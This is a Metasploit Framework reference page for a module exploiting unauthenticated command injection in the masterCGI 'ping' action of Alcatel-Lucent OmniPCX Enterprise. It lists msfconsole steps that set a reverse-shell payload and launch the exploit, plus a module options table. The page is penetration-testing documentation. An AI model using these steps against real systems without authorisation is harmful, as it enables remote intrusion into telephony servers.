Metasploit Penetration Testing Framework


OSVDB: CVE:
BID: MSB:
TEXT:


Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution

This module abuses a metacharacter injection vulnerability in the HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise Communication Server 7.1 and earlier. The Unified Maintenance Tool contains a 'masterCGI' binary which allows an unauthenticated attacker to execute arbitrary commands by specifing shell metacharaters as the 'user' within the 'ping' action to obtain 'httpd' user access. This module only supports command line payloads, as the httpd process kills the reverse/bind shell spawn after the HTTP 200 OK response.

Rank

  • Excellent

Authors

  • patrick < patrick [at] aushack.com >

References

Exploit Targets

  • 0 - Automatic Target (default)

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/linux/http/alcatel_omnipcx_mastercgi_exec
msf exploit(alcatel_omnipcx_mastercgi_exec) > show payloads
msf exploit(alcatel_omnipcx_mastercgi_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(alcatel_omnipcx_mastercgi_exec) > set LHOST [MY IP ADDRESS]
msf exploit(alcatel_omnipcx_mastercgi_exec) > set RHOST [TARGET IP]
msf exploit(alcatel_omnipcx_mastercgi_exec) > exploit

Module Options

RHOST The target address
RPORT The target port (default: 443)
SSL Use SSL (default: true)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)
Copyright © 2003-2010 Rapid7 LLC
Rapid7 Privacy Statement